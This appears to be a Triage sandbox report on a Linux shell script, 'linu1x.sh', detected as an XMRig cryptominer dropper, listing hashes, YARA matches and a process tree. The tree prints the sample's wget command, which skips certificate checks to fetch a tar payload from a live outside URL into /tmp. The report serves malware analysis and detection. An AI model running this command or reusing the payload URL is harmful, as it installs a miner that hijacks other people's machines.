xmrig | 3959bccb7cd46089cbfdb5009142d90ec7dde24accadc182f883c0f9eabae70c | Triage™

Analysis

max time kernel
7s
max time network
10s
platform
debian-9_armhf
resource
debian9-armhf-20230831-en
resource tags

arch:armhfimage:debian9-armhf-20230831-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
20/10/2023, 14:00

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
linu1x.sh
Size 764B
Sample231020-rbf8nadh46
SHA256 3959bccb7cd46089cbfdb5009142d90ec7dde24accadc182f883c0f9eabae70c
MD5 daf5a778f4bb100c1b207d3768e7caeb
SHA1 1a8a575d9453c32fdb89f2cc1e0633acf6d51dd9
SHA512 1522e190d86e60a99cb03bf5d86b625d158a4ec3e12dd099ea313050e66bc6cc878f6c847aafca7f2409150a867631f38339c6213b004bf7cb6ae4e6db5c2635
MD5 SHA1 SHA512

Score

10^/10

xmrig miner

Malware Config

Signatures

XMRig Miner payload 2 IoCs

resource	yara_rule
behavioral2/files/fstream-1.dat	family_xmrig
behavioral2/files/fstream-1.dat	xmrig

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/tesylinux.tar	wget

/tmp/linu1x.sh
/tmp/linu1x.sh
1⤵
PID:363
- /usr/bin/wget
  wget --no-check-certificate https://cdn.nest.rip/uploads/7f935faf-22cb-4b55-9ed0-6c366fc21090.tar -O /tmp/tesylinux.tar
  2⤵
  - Writes file to tmp directory
  PID:364

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

tesylinux.tar

Path /tmp/tesylinux.tar
Size 8.5MB
SHA256 32d8b1d7a57f6ecf6f521476e01f9193ce4772a66461ce089922d76a1d02665d
MD5 09f7649e5f0713d9de53bc417660db7e
SHA1 4128b8b4a1786c9a4095af48c6d89385f6d85b12
SHA512 01643abc54e3d63906a95e04b1c60258df4d299bd90667e15973e1d00559fb7d106bb09e92b2e37a8c079042748704c517caab7f6558a20a726c738406efef12
SSDEEP 196608:5wctjKzANtueqrzci4cW10mDKg1MhymQps:5wctjKzANtueSzcXcpSKgGhymQ
MD5 SHA1 SHA512 SSDEEP

Submit Download